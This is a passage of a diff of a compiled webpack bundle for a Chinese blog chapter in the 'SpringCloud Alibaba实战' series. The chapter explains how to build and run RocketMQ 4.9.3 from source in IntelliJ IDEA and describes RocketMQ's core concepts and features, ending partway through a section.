"),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-04-21-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-04-28-008.png",loading:"lazy"}})]),t._v(" "),s("p",[s("strong",[t._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),t._v(" "),s("h2",{attrs:{id:"写在最后"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[t._v("#")]),t._v(" 写在最后")]),t._v(" "),s("blockquote",[s("p",[t._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),s("strong",[t._v("冰河技术")]),t._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),s("strong",[t._v("冰河技术")]),t._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),s("strong",[t._v("冰河技术")]),t._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),s("strong",[t._v("冰河技术")]),t._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);s.default=r.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[332],{622:function(t,s,a){"use strict";a.r(s);var e=a(7),r=Object(e.a)({},(function(){var t=this,s=t._self._c;return s("ContentSlotsDistributor",{attrs:{"slot-key":t.$parent.slotKey}},[s("h1",{attrs:{id:"sa实战-·《springcloud-alibaba实战》第20章-消息服务-rocketmq核心技术"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#sa实战-·《springcloud-alibaba实战》第20章-消息服务-rocketmq核心技术"}},[t._v("#")]),t._v(" SA实战 ·《SpringCloud Alibaba实战》第20章-消息服务:RocketMQ核心技术")]),t._v(" "),s("p",[s("strong",[t._v("大家好,我是冰河~~")])]),t._v(" "),s("blockquote",[s("p",[t._v("一不小心《"),s("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),s("OutboundLink")],1),t._v("》专栏都更新到第20章了,再不上车就跟不上了,小伙伴们快跟上啊!")]),t._v(" "),s("p",[t._v("注意:本项目完整源码加入 "),s("strong",[s("a",{attrs:{href:"https://public.zsxq.com/groups/48848484411888.html",target:"_blank",rel:"noopener noreferrer"}},[t._v("冰河技术"),s("OutboundLink")],1)]),t._v(" 知识星球即可获取,文末有入场方式。")]),t._v(" "),s("p",[t._v("本文大部分内容来源:https://github.com/apache/rocketmq/tree/master/docs/cn")])]),t._v(" "),s("p",[t._v("在《"),s("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),s("OutboundLink")],1),t._v("》专栏前面的文章中,我们实现了用户微服务、商品微服务和订单微服务之间的远程调用,并且实现了服务调用的负载均衡。也基于阿里开源的Sentinel实现了服务的限流与容错,并详细介绍了Sentinel的核心技术与配置规则。简单介绍了服务网关,并对SpringCloud Gateway的核心架构进行了简要说明,也在项目中整合了SpringCloud Gateway网关实现了通过网关访问后端微服务.")]),t._v(" "),s("p",[t._v("同时,也基于SpringCloud Gateway整合Sentinel实现了网关的限流功能,详细介绍了SpringCloud Gateway网关的核心技术。在链路追踪章节,我们开始简单介绍了分布式链路追踪技术与解决方案,随后在项目中整合Sleuth实现了链路追踪,并使用Sleuth整合ZipKin实现了分布式链路追踪的可视化 。")]),t._v(" "),s("p",[t._v("在消息服务章节,我们介绍了MQ的使用场景,引入MQ后的注意事项以及MQ的选型对比,在项目中整合了RocketMQ。接下来,再给大家介绍下RocketMQ的核心技术。")]),t._v(" "),s("h2",{attrs:{id:"本章总览"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#本章总览"}},[t._v("#")]),t._v(" 本章总览")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-20-010","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-20-010.png",loading:"lazy"}})]),t._v(" "),s("h2",{attrs:{id:"idea启动rocketmq源码"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#idea启动rocketmq源码"}},[t._v("#")]),t._v(" IDEA启动RocketMQ源码")]),t._v(" "),s("p",[t._v("RocketMQ是使用Java语言开发的,我们可以将RocketMQ的源码导入到IDEA中,使用IDEA来导入并启动RocketMQ的源码,接下来就可以在IDEA中调试RocketMQ的源码。")]),t._v(" "),s("h3",{attrs:{id:"下载rocketmq源码"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#下载rocketmq源码"}},[t._v("#")]),t._v(" 下载RocketMQ源码")]),t._v(" "),s("p",[t._v("到链接"),s("a",{attrs:{href:"https://github.com/apache/rocketmq/releases/tag/rocketmq-all-4.9.3",target:"_blank",rel:"noopener noreferrer"}},[t._v("https://github.com/apache/rocketmq/releases/tag/rocketmq-all-4.9.3"),s("OutboundLink")],1),t._v("下载RocketMQ源码,这里下载的是RocketMQ 4.9.3版本。")]),t._v(" "),s("h3",{attrs:{id:"将源码导入idea"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#将源码导入idea"}},[t._v("#")]),t._v(" 将源码导入IDEA")]),t._v(" "),s("p",[t._v("将RocketMQ下载的本地后,就可以将RocketMQ的源码导入到IDEA中了。导入后的项目结构如下所示。")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-20-001","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-20-001.png",loading:"lazy"}})]),t._v(" "),s("h3",{attrs:{id:"编译rocketmq源码"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#编译rocketmq源码"}},[t._v("#")]),t._v(" 编译RocketMQ源码")]),t._v(" "),s("p",[t._v("在IDEA编译RocketMQ源码,需要在IDEA中配置Maven编译,如下所示。")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-20-002","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-20-002.png",loading:"lazy"}})]),t._v(" "),s("p",[t._v("如图所示,需要输入名称、在Working directory对应的地方选择要使用Maven编译的项目目录,这里,选择RocketMQ项目的根目录,表示编译整个RocketMQ项目。在Command line对应的文本框中输入"),s("code",[t._v("clean install -Dmaven.test.skip=true")]),t._v("来编译RocketMQ源码。其中"),s("code",[t._v("-Dmaven.test.skip=true")]),t._v("参数表示在编译的过程中忽略测试。")]),t._v(" "),s("p",[t._v("配置好之后点击IDEA右上角的运行按钮开始编译RocketMQ的源码,如下所示。")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-20-003","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-20-003.png",loading:"lazy"}})]),t._v(" "),s("p",[t._v("在编译的过程中可能会下载一些RocketMQ源码依赖的Jar包和插件,等待一会即可。")]),t._v(" "),s("h3",{attrs:{id:"启动rocketmq"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#启动rocketmq"}},[t._v("#")]),t._v(" 启动RocketMQ")]),t._v(" "),s("p",[t._v("在IDEA中启动RocketMQ的源码需要进行简单的配置,具体的步骤如下所示。")]),t._v(" "),s("p",[t._v("(1)在RocketMQ源码的根目录下创建conf目录,并将distribution模块下的conf目录的broker.conf文件、logback_namesrv.xml文件和logback_broker.xml文件复制到RocketMQ源码的根目录下创建conf目录中,如下所示。")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-20-004","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-20-004.png",loading:"lazy"}})]),t._v(" "),s("p",[t._v("(2)文件复制完成后,修改broker.conf文件的内容,修改后的内容如下所示。")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[t._v("brokerClusterName "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" DefaultCluster\nbrokerName "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" broker-a\nbrokerId "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("0")]),t._v("\ndeleteWhen "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" 04\nfileReservedTime "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("48")]),t._v("\nbrokerRole "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" ASYNC_MASTER\nflushDiskType "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" ASYNC_FLUSH\n\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("# 自动创建Topic")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("autoCreateTopicEnable")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("true\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("# nameServ地址")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("namesrvAddr")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("127.0")]),t._v(".0.1:9876\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("# 存储路径")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("storePathRootDir")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("E:/RocketMQ/data/rocketmq/dataDir\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("# commitLog路径")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("storePathCommitLog")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("E:/RocketMQ/data/rocketmq/dataDir/commitlog\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("# 消息队列存储路径")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("storePathConsumeQueue")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("E:/RocketMQ/data/rocketmq/dataDir/consumequeue\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("# 消息索引存储路径")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("storePathIndex")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("E:/RocketMQ/data/rocketmq/dataDir/index\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("# checkpoint文件路径")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("storeCheckpoint")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("E:/RocketMQ/data/rocketmq/dataDir/checkpoint\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("# abort文件存储路径")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("abortFile")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("E:/RocketMQ/data/rocketmq/dataDir/abort\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br"),s("span",{staticClass:"line-number"},[t._v("10")]),s("br"),s("span",{staticClass:"line-number"},[t._v("11")]),s("br"),s("span",{staticClass:"line-number"},[t._v("12")]),s("br"),s("span",{staticClass:"line-number"},[t._v("13")]),s("br"),s("span",{staticClass:"line-number"},[t._v("14")]),s("br"),s("span",{staticClass:"line-number"},[t._v("15")]),s("br"),s("span",{staticClass:"line-number"},[t._v("16")]),s("br"),s("span",{staticClass:"line-number"},[t._v("17")]),s("br"),s("span",{staticClass:"line-number"},[t._v("18")]),s("br"),s("span",{staticClass:"line-number"},[t._v("19")]),s("br"),s("span",{staticClass:"line-number"},[t._v("20")]),s("br"),s("span",{staticClass:"line-number"},[t._v("21")]),s("br"),s("span",{staticClass:"line-number"},[t._v("22")]),s("br"),s("span",{staticClass:"line-number"},[t._v("23")]),s("br"),s("span",{staticClass:"line-number"},[t._v("24")]),s("br")])]),s("p",[t._v("(3)配置NameServer启动项,NameServer的启动类,在RocketMQ源码的namesrv模块中,如下所示。")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-20-005","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-20-005.png",loading:"lazy"}})]),t._v(" "),s("p",[t._v("启动前先要在IDEA中配置下NameServer的启动类,如下所示。")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-20-006","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-20-006.png",loading:"lazy"}})]),t._v(" "),s("p",[t._v("启动NameServer前重点是要在IDEA的Environment variables中配置ROCKETMQ_HOME环境变量,这里,ROCKETMQ_HOME环境变量的值是RocketMQ源码的根目录。")]),t._v(" "),s("p",[t._v("(4)配置Broker启动项,Broker的启动类,在RocketMQ源码中的broker模块中,如下所示。")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-20-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-20-007.png",loading:"lazy"}})]),t._v(" "),s("p",[t._v("启动前先要在IDEA中配置下Broker的启动类,如下所示。")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-20-008","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-20-008.png",loading:"lazy"}})]),t._v(" "),s("p",[t._v("配置Broker的启动类时,除了要在Environment variables后面配置ROCKETMQ_HOME环境变量外,还要在Program arguments后面配置启动RocketMQ时加载的配置文件,这里的配置文件使用-c参数指向RocketMQ源码根目录下的conf目录中的broker.conf文件,如下所示。")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-c")]),t._v(" D:"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("\\")]),t._v("Workspaces"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("\\")]),t._v("myself"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("\\")]),t._v("rocketmq"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("\\")]),t._v("src"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("\\")]),t._v("rocketmq-rocketmq-all-4.9.3"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("\\")]),t._v("conf"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("\\")]),t._v("broker.conf\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("(5)在IDEA中分别启动RocketMQ的NameServer和Broker,可以发现在启动NameServer的控制台输出了如下日志信息。")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[t._v("The Name Server boot success. "),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("serializeType")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("JSON\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("在启动Broker的控制台输出了如下日志信息。")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[t._v("The broker"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("[")]),t._v("broker-a, "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("192.168")]),t._v(".184.1:10911"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("]")]),t._v(" boot success. "),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("serializeType")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("JSON and name server is "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("127.0")]),t._v(".0.1:9876\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("此时,我们到在broker.conf文件中配置的RocketMQ存储数据的根目录"),s("code",[t._v("E:/RocketMQ/data/rocketmq/dataDir")]),t._v("下查看具体信息,如下所示。")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-20-009","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-20-009.png",loading:"lazy"}})]),t._v(" "),s("p",[t._v("可以看到,在"),s("code",[t._v("E:/RocketMQ/data/rocketmq/dataDir")]),t._v("目录下生成了RocketMQ相关的存储信息。")]),t._v(" "),s("p",[t._v("综上,我们成功在IDEA中导入并启动了RocketMQ的源码。接下来,小伙伴们就可以在IDEA中随心所欲的调试RocketMQ的源码了。")]),t._v(" "),s("h2",{attrs:{id:"rocketmq基本概念"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#rocketmq基本概念"}},[t._v("#")]),t._v(" RocketMQ基本概念")]),t._v(" "),s("h3",{attrs:{id:"消息模型"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消息模型"}},[t._v("#")]),t._v(" 消息模型")]),t._v(" "),s("p",[t._v("RocketMQ主要由 Producer、Broker、Consumer 三部分组成,其中Producer 负责生产消息,Consumer 负责消费消息,Broker 负责存储消息。Broker 在实际部署过程中对应一台服务器,每个 Broker 可以存储多个Topic的消息,每个Topic的消息也可以分片存储于不同的 Broker。Message Queue 用于存储消息的物理地址,每个Topic中的消息地址存储于多个 Message Queue 中。ConsumerGroup 由多个Consumer 实例构成。")]),t._v(" "),s("h3",{attrs:{id:"消息生产者"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消息生产者"}},[t._v("#")]),t._v(" 消息生产者")]),t._v(" "),s("p",[t._v("负责生产消息,一般由业务系统负责生产消息。一个消息生产者会把业务应用系统里产生的消息发送到broker服务器。RocketMQ提供多种发送方式,同步发送、异步发送、顺序发送、单向发送。同步和异步方式均需要Broker返回确认信息,单向发送不需要。")]),t._v(" "),s("h3",{attrs:{id:"消息消费者"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消息消费者"}},[t._v("#")]),t._v(" 消息消费者")]),t._v(" "),s("p",[t._v("负责消费消息,一般是后台系统负责异步消费。一个消息消费者会从Broker服务器拉取消息、并将其提供给应用程序。从用户应用的角度而言提供了两种消费形式:拉取式消费、推动式消费。")]),t._v(" "),s("h3",{attrs:{id:"主题"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#主题"}},[t._v("#")]),t._v(" 主题")]),t._v(" "),s("p",[t._v("表示一类消息的集合,每个主题包含若干条消息,每条消息只能属于一个主题,是RocketMQ进行消息订阅的基本单位。")]),t._v(" "),s("h3",{attrs:{id:"代理服务器"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#代理服务器"}},[t._v("#")]),t._v(" 代理服务器")]),t._v(" "),s("p",[t._v("消息中转角色,负责存储消息、转发消息。代理服务器在RocketMQ系统中负责接收从生产者发送来的消息并存储、同时为消费者的拉取请求作准备。代理服务器也存储消息相关的元数据,包括消费者组、消费进度偏移和主题和队列消息等。")]),t._v(" "),s("h3",{attrs:{id:"名字服务"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#名字服务"}},[t._v("#")]),t._v(" 名字服务")]),t._v(" "),s("p",[t._v("名称服务充当路由消息的提供者。生产者或消费者能够通过名字服务查找各主题相应的Broker IP列表。多个Namesrv实例组成集群,但相互独立,没有信息交换。")]),t._v(" "),s("h3",{attrs:{id:"拉取式消费"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#拉取式消费"}},[t._v("#")]),t._v(" 拉取式消费")]),t._v(" "),s("p",[t._v("Consumer消费的一种类型,应用通常主动调用Consumer的拉消息方法从Broker服务器拉消息、主动权由应用控制。一旦获取了批量消息,应用就会启动消费过程。")]),t._v(" "),s("h3",{attrs:{id:"推动式消费"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#推动式消费"}},[t._v("#")]),t._v(" 推动式消费")]),t._v(" "),s("p",[t._v("Consumer消费的一种类型,该模式下Broker收到数据后会主动推送给消费端,该消费模式一般实时性较高。")]),t._v(" "),s("h3",{attrs:{id:"生产者组"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#生产者组"}},[t._v("#")]),t._v(" 生产者组")]),t._v(" "),s("p",[t._v("同一类Producer的集合,这类Producer发送同一类消息且发送逻辑一致。如果发送的是事务消息且原始生产者在发送之后崩溃,则Broker服务器会联系同一生产者组的其他生产者实例以提交或回溯消费。")]),t._v(" "),s("h3",{attrs:{id:"消费者组"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消费者组"}},[t._v("#")]),t._v(" 消费者组")]),t._v(" "),s("p",[t._v("同一类Consumer的集合,这类Consumer通常消费同一类消息且消费逻辑一致。消费者组使得在消息消费方面,实现负载均衡和容错的目标变得非常容易。要注意的是,消费者组的消费者实例必须订阅完全相同的Topic。RocketMQ 支持两种消息模式:集群消费(Clustering)和广播消费(Broadcasting)。")]),t._v(" "),s("h3",{attrs:{id:"集群消费"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#集群消费"}},[t._v("#")]),t._v(" 集群消费")]),t._v(" "),s("p",[t._v("集群消费模式下,相同Consumer Group的每个Consumer实例平均分摊消息。")]),t._v(" "),s("h3",{attrs:{id:"广播消费"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#广播消费"}},[t._v("#")]),t._v(" 广播消费")]),t._v(" "),s("p",[t._v("广播消费模式下,相同Consumer Group的每个Consumer实例都接收全量的消息。")]),t._v(" "),s("h3",{attrs:{id:"普通顺序消息"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#普通顺序消息"}},[t._v("#")]),t._v(" 普通顺序消息")]),t._v(" "),s("p",[t._v("普通顺序消费模式下,消费者通过同一个消息队列( Topic 分区,称作 Message Queue) 收到的消息是有顺序的,不同消息队列收到的消息则可能是无顺序的。")]),t._v(" "),s("h3",{attrs:{id:"严格顺序消息"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#严格顺序消息"}},[t._v("#")]),t._v(" 严格顺序消息")]),t._v(" "),s("p",[t._v("严格顺序消息模式下,消费者收到的所有消息均是有顺序的。")]),t._v(" "),s("h3",{attrs:{id:"消息"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消息"}},[t._v("#")]),t._v(" 消息")]),t._v(" "),s("p",[t._v("消息系统所传输信息的物理载体,生产和消费数据的最小单位,每条消息必须属于一个主题。RocketMQ中每个消息拥有唯一的Message ID,且可以携带具有业务标识的Key。系统提供了通过Message ID和Key查询消息的功能。")]),t._v(" "),s("h3",{attrs:{id:"标签"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#标签"}},[t._v("#")]),t._v(" 标签")]),t._v(" "),s("p",[t._v("为消息设置的标志,用于同一主题下区分不同类型的消息。来自同一业务单元的消息,可以根据不同业务目的在同一主题下设置不同标签。标签能够有效地保持代码的清晰度和连贯性,并优化RocketMQ提供的查询系统。消费者可以根据Tag实现对不同子主题的不同消费逻辑,实现更好的扩展性。")]),t._v(" "),s("h2",{attrs:{id:"rocketmq特性"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#rocketmq特性"}},[t._v("#")]),t._v(" RocketMQ特性")]),t._v(" "),s("h3",{attrs:{id:"订阅与发布"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#订阅与发布"}},[t._v("#")]),t._v(" 订阅与发布")]),t._v(" "),s("p",[t._v("消息的发布是指某个生产者向某个topic发送消息;消息的订阅是指某个消费者关注了某个topic中带有某些tag的消息,进而从该topic消费数据。")]),t._v(" "),s("h3",{attrs:{id:"消息顺序"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消息顺序"}},[t._v("#")]),t._v(" 消息顺序")]),t._v(" "),s("p",[t._v("消息有序指的是一类消息消费时,能按照发送的顺序来消费。例如:一个订单产生了三条消息分别是订单创建、订单付款、订单完成。消费时要按照这个顺序消费才能有意义,但是同时订单之间是可以并行消费的。RocketMQ可以严格的保证消息有序。")]),t._v(" "),s("p",[t._v("顺序消息分为全局顺序消息与分区顺序消息,全局顺序是指某个Topic下的所有消息都要保证顺序;部分顺序消息只要保证每一组消息被顺序消费即可。")]),t._v(" "),s("ul",[s("li",[t._v("全局顺序\n对于指定的一个 Topic,所有消息按照严格的先入先出(FIFO)的顺序进行发布和消费。\n适用场景:性能要求不高,所有的消息严格按照 FIFO 原则进行消息发布和消费的场景")]),t._v(" "),s("li",[t._v("分区顺序\n对于指定的一个 Topic,所有消息根据 sharding key 进行区块分区。 同一个分区内的消息按照严格的 FIFO 顺序进行发布和消费。 Sharding key 是顺序消息中用来区分不同分区的关键字段,和普通消息的 Key 是完全不同的概念。\n适用场景:性能要求高,以 sharding key 作为分区字段,在同一个区块中严格的按照 FIFO 原则进行消息发布和消费的场景。")])]),t._v(" "),s("h3",{attrs:{id:"消息过滤"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消息过滤"}},[t._v("#")]),t._v(" 消息过滤")]),t._v(" "),s("p",[t._v("RocketMQ的消费者可以根据Tag进行消息过滤,也支持自定义属性过滤。消息过滤目前是在Broker端实现的,优点是减少了对于Consumer无用消息的网络传输,缺点是增加了Broker的负担、而且实现相对复杂。")]),t._v(" "),s("h3",{attrs:{id:"消息可靠性"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消息可靠性"}},[t._v("#")]),t._v(" 消息可靠性")]),t._v(" "),s("p",[t._v("RocketMQ支持消息的高可靠,影响消息可靠性的几种情况:")]),t._v(" "),s("ol",[s("li",[t._v("Broker非正常关闭")]),t._v(" "),s("li",[t._v("Broker异常Crash")]),t._v(" "),s("li",[t._v("OS Crash")]),t._v(" "),s("li",[t._v("机器掉电,但是能立即恢复供电情况")]),t._v(" "),s("li",[t._v("机器无法开机(可能是cpu、主板、内存等关键设备损坏)")]),t._v(" "),s("li",[t._v("磁盘设备损坏")])]),t._v(" "),s("p",[t._v("1)、2)、3)、4) 四种情况都属于硬件资源可立即恢复情况,RocketMQ在这四种情况下能保证消息不丢,或者丢失少量数据(依赖刷盘方式是同步还是异步)。")]),t._v(" "),s("p",[t._v("5)、6)属于单点故障,且无法恢复,一旦发生,在此单点上的消息全部丢失。RocketMQ在这两种情况下,通过异步复制,可保证99%的消息不丢,但是仍然会有极少量的消息可能丢失。通过同步双写技术可以完全避免单点,同步双写势必会影响性能,适合对消息可靠性要求极高的场合,例如与Money相关的应用。注:RocketMQ从3.0版本开始支持同步双写。")]),t._v(" "),s("h3",{attrs:{id:"至少一次"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#至少一次"}},[t._v("#")]),t._v(" 至少一次")]),t._v(" "),s("p",[t._v("至少一次(At least Once)指每个消息必须投递一次。Consumer先Pull消息到本地,消费完成后,才向服务器返回ack,如果没有消费一定不会ack消息,所以RocketMQ可以很好的支持此特性。")]),t._v(" "),s("h3",{attrs:{id:"回溯消费"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#回溯消费"}},[t._v("#")]),t._v(" 回溯消费")]),t._v(" "),s("p",[t._v("回溯消费是指Consumer已经消费成功的消息,由于业务上需求需要重新消费,要支持此功能,Broker在向Consumer投递成功消息后,消息仍然需要保留。并且重新消费一般是按照时间维度,例如由于Consumer系统故障,恢复后需要重新消费1小时前的数据,那么Broker要提供一种机制,可以按照时间维度来回退消费进度。RocketMQ支持按照时间回溯消费,时间维度精确到毫秒。")]),t._v(" "),s("h3",{attrs:{id:"事务消息"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#事务消息"}},[t._v("#")]),t._v(" 事务消息")]),t._v(" "),s("p",[t._v("RocketMQ事务消息(Transactional Message)是指应用本地事务和发送消息操作可以被定义到全局事务中,要么同时成功,要么同时失败。RocketMQ的事务消息提供类似 X/Open XA 的分布事务功能,通过事务消息能达到分布式事务的最终一致。")]),t._v(" "),s("h3",{attrs:{id:"定时消息"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#定时消息"}},[t._v("#")]),t._v(" 